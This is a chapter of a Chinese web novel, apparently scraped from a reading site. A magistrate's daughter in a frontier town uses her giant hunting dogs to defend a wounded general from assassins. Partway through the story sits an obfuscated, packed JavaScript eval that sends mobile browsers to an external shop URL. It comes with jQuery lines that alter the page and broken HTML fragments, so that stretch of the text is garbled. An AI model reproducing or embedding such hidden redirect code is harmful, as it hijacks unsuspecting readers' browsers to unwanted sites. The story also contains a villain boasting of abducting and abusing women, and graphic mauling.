清泉。
这里是位于西北边陲的一处小城,自几十年前,舆国从乌檀族手中收回了这片地域,并将领土逐渐开拓后,这里便摆脱了战乱,进入长久的休养生息。
舆国在清泉设县,并派军驻地,节制周边大小十几个州县。
既有督军在头上管着事情,各地的知县便干脆选了本地人来担任,反正小事自己处理,大事还是要巡抚和提督拿主意。
这清泉县的知县,便是魏家人代代传承。
魏家是清泉县最富庶的家族,在西北边陲繁衍已有六七代。可惜这魏家的男人一代不如一代,从第四代开始,不管全族人怎么奋斗,最后每一支都只能生出一个儿子。
到了本代知县魏寒塘这里,更是半个儿子都没有。
他年过五十也只有两个女儿,本来指望从旁支兄弟那里过继一个,可是兄弟们比他也强不到哪去。偌大的魏家快成了女儿国,愣是眼瞅着要绝后了。
魏寒塘死了心,干脆将一宅子的姬妾尽数散了。
他那原配妻子早年间病故,只留下了一个女儿,名叫魏陶姜。
除此之外,便只有一个妾室生了女儿,取名魏阮娘。
如此一来,这三进一出的魏宅,如今便只剩下知县魏寒塘、一个算不得主母的年老妾室,以及这姐妹二人。
若说起这姐妹二人,清泉县的老百姓恐怕是更有话说,比如——
“苗凤,虎韬,牵狗!咱们出门巡街喽!”
魏陶姜一声令下,带着自己最中意的小厮和丫鬟,牵着三条半人高的恶犬,气势汹汹地便出了魏宅的大门。
魏阮娘跟在身后,小心嘱咐:“姐姐,将斩虏牵紧些!春天到了,它脾气燥着呢!”
魏陶姜不在意地冲身后挥挥手,趾高气昂地跨出大门。
走了没几步,果然发现斩虏焦躁得很,见个人便龇牙咧嘴的,连经常给它喂骨头的肉摊小哥都没能幸免。
魏陶姜哭笑不得,脚尖轻轻踢了它一下:“你小子!果然是春心萌动了,行,姐姐今天上酆大娘家去看看,能不能给你找一条俊俏的小母狗。”
斩虏颇通人性,听着这话竟然还有些娇羞地扭了扭身子,哼咛几声将脑袋递到魏陶姜掌心蹭了蹭。
魏陶姜开怀大笑,撸了它两把,这才继续尽职尽责地巡街。
要说这清泉县的治安还是不错的,毕竟提督大人每隔半个月就要来一趟,美其名曰关注地方安保,实则就是惦记魏家大柳树下埋的那几坛子好酒。
不过这一点不影响魏陶姜每天出来巡街两个时辰,毕竟她也只有这么一个机会,能牵着这三条她从小养大的小可爱,出来好好嘚瑟一番。
不过,今日街上瞅着是多了些未曾见过的面孔。
比如迎面走来的这位,瞧着肤色白皙,身段纤细,唇色微微泛着白,倒是一点不像西北风沙中磨炼出的铁血娘子。
她有些好奇地打量着对方,对方显然也很好奇地打量着……
她身后的三条狗。
注意到这小娘子的眼神,魏陶姜暗赞一声“有眼光”!
她心里美滋滋,嘴角都快翘得没边了,心中急切地催促着:快问我啊,快问我能不能摸啊?快问啊!
斩虏这会儿大概是得到了主人的承诺,心安了大半,也不对着人呲牙了。看到这位清秀的小娘子,甚至还凑过去嗅了嗅,抬头露出个乖巧的表情。
那小娘子倒是半点没躲,看着非但不害怕,还有些兴奋,终于没忍住颤巍巍问了句:“这位姐姐,我能不能……能不能……”
魏陶姜等不及了,忙不迭点头:“能的能的!你摸你摸,它们都不咬人!”
既然主人这样热情,斩虏几只自然也不能跌了狗面,一个个争先恐后,大脑袋拱着往小娘子身上凑,尾巴都快摇出残影了。
小娘子这下开心了,大概是身体确实虚弱,承受不住几只大狗的力道,便索性席地而坐。
这一下倒有了几分清泉人的影子。
清泉县的老百姓们,平时都得到魏家父女的照顾。魏陶姜花钱大方,几乎整条街的生意都被她罩着。
大家也喜欢这位县太爷家的大小姐,见状便有许多人停下脚步,共同加入这场“天伦之乐”。
街的这一头大家玩得喜气洋洋,隔着百米远的另一头,却是暗流涌动。
街尽头的房梁上爬着两人,都是身穿黑色劲衣,身形挺拔。
可惜现下两人都是身受重伤,浑身的血腥味,隔着十来步也能闻到。
“将军,你快走,我还能拖一会儿!”
“别废话,前面应该就快到清泉的县衙了,再坚持片刻!”
“可若是这清泉县的知县也是他们的人,那我们岂不是自投罗网?”
男子狭长的鹰目笼罩上一层寒光:“如今也没得选了,且当拿命一搏吧!”
两人撑着最后的力气,纵身一跃,落地后便向着人最多的地方急掠而来。
……
那小娘子顽了片刻,终究是体力不支。
魏陶姜眼瞅着她呼吸越来越急促,嘴唇都快没血色了,心里便是咯噔一下。
“快!大家散开!”
这小娘子,总不会是有喘症吧?
魏陶姜赶紧让下人把三条大狗牵着走远了些,又掏出身上的帕子,拿水浸了浸,轻轻贴上小娘子的额头。
“你不要紧吧?要不我带你去找郎中?”
小娘子大喘了几口气,脸色好了些,闻言对着她虚弱地笑了笑:“我没事,歇一歇就好。”
魏陶姜还是不放心,可是没等她再劝,不远处的斩虏忽然大叫几声。
紧跟着围观的人群也慌张散开,伴随着阵阵惊呼:“有人来了!”
“小心!”
人群散开,魏陶姜起身快跑过去,便见一人半跪在地上,身上的黑衣早已被划得七零八落,露出下面狰狞的伤口。
饶是魏陶姜胆子大,也忍不住倒吸一口凉气。
她面色凝重起来:“大家各自回家去!摊位先不要管了!”
她在清泉县威望颇高,众人没有犹豫,得了吩咐便赶紧往家中跑。
“苗凤,虎韬,把狗留下,你们回去报信!”
小厮与丫鬟迟疑一瞬,还是将狗绳交到大小姐手中,赶紧跑回魏宅搬救兵。
魏陶姜将那小娘子交付给最近的一户人家,自己这才牵着狗,小心翼翼地靠近跪在地上喘着粗气的男人。
男人覆着面,看不清长相,只是即便半跪着也能瞧出身材高大。
谢喻此时已有些神志模糊了。
他努力地控制着自己不要昏睡,死死咬着牙,盯着不断靠近他的女子……和几条狗?
他不知道是不是自己的幻觉,那一身紫衣的女子,牵着几条到她腰际的大狗,就这么一步步地过来了?
这是什么人?驯狗师?
没听说清泉还有这产业?
越是意识沉迷之际,谢喻便越发控制不住脑海中乱七八糟的念头。
只是没容他想个清楚,那几只大狗突然冲着他身后狂吠起来。
谢喻心下一沉,还是来了……
魏陶姜的视线从这男人身上移到了他身后,街道的尽头,有四名同样身着黑衣的高大身影,急速飞跃而来,一看便知道是练家子。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143102|150185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
而地上跪着的那男人,似乎身形也一瞬间绷得更紧,挣扎着想要起来,却又数次告败。
那几人转瞬间便到了眼前,他们警惕地看了一眼魏陶姜,和她身边三条身形巨大的猎犬。
说实话,他们不是没见过大狗,却从未见过这般高大的犬种。
此时的斩虏也完全收起了先前乖巧的模样,它看着对面的几人,嗓子中发出阵阵低吼,浑身厚实的毛发都仿佛立了起来,眼中竟然是澎湃的战意。
另外两只的身体也半匍匐下去,摩拳擦掌的模样,若不是魏陶姜还拽着绳,似乎下一秒它们就要冲过去。
四个黑衣人被这三只猎犬盯着,不知为何竟觉得浑身发寒。
他们平生第一次,在几只狗的身上见识到了杀气。
魏陶姜牵着绳,步步紧逼,很快就将那跪着的男子护在了身后。
几名黑衣人深吸一口气,努力说服自己。
不就是几条狗吗?又不是豺狼虎豹,有什么好怕的?
他们警告地看向魏陶姜,沉声道:“奉劝姑娘,赶紧带着你的狗回家,这里没你什么事!”
魏陶姜饶有兴致地挑挑眉:“这话说得可就没道理了。这清泉城乃是我的家,你们在我的家门口杀人,我岂有不管的道理?”
其中一位黑衣人脾气最是火爆,闻言便直接骂道:“小娘皮子,爷们的事你也敢瞎掺和,活得不耐烦了是不是?”
另外一位黑衣人个子略矮些,此时却盯着魏陶姜凹凸有致的身材,眼中泛出淫光:“老二,早就跟你说过了,西北的这些娘们虎着呢!非要一个个抓起来,关进那幽闭地方好好调教几个月,便都乖巧了。”
听到最后一句,魏陶姜眼中的笑意终于散得干干净净。她磨了磨后槽牙,状若无意地问道:“看来几位是已经领教过西北姑娘的厉害了?”
刚刚说话的矮个子黑衣人得意一笑:“那是自然,也就抓了七八个吧。哥几个轮番调教了两个月,如今是一个赛一个的懂事。这西北的女人啊,啧,这滋味实在是妙,实在是妙啊!”
“是吗?”
魏陶姜眼中寒意毕现,她弯了弯唇角,身体前倾:“姑奶奶我巡街好几年了,今天可算是能见点血了!”
她拍了拍斩虏的后颈:“好小子,今天看你们的了,晚上回去加餐!”
斩虏一边低吼,一边抽空答应了她一声,随即盯着她手中的绳扬扬脑袋。
魏陶姜明白它的意思,干脆利落地撒了手。
她手刚一松,斩虏便带着剩下的两只冲了出去,那速度之快,几乎一个眨眼就扑到了几个黑衣人身前。
黑衣人尚未反应过来,就听到了近在耳边的吼叫。让他们胆寒的是,这猎犬的低吼声竟然像是虎叫声般摄人心魄,他们急忙举剑去挡,可是刚一个照面,剑就被一爪拍飞。
他们甚至都没来得及做出下一步动作,耳边就已经传来了同伴的惨叫。
其中一位武艺最高的黑衣人撑得最久,也不过几个呼吸间就被震得连连后退。他趁着后退的功夫看向其他人,却心寒地发现三位同伴无一幸免。
其中一人的腿已经被咬的深可见骨,另一人的胳膊就快断了,最惨的一个,腰腹间已经被撕扯下了一大块皮肉,眼见着竟然已没了活路。
他心下发颤,这才一脸惊恐地看向不远处一身紫衣的年轻姑娘,却发现她脸上没有任何恐惧或不忍,反倒是兴奋地紧紧盯着。
这哪里有半分女儿家的模样?
魏陶姜正恨恨地盯着几个下场凄惨的黑衣人,身后却忽然传来父亲由远及近的急切叫喊。
“阿姜,住手!狗下留人!”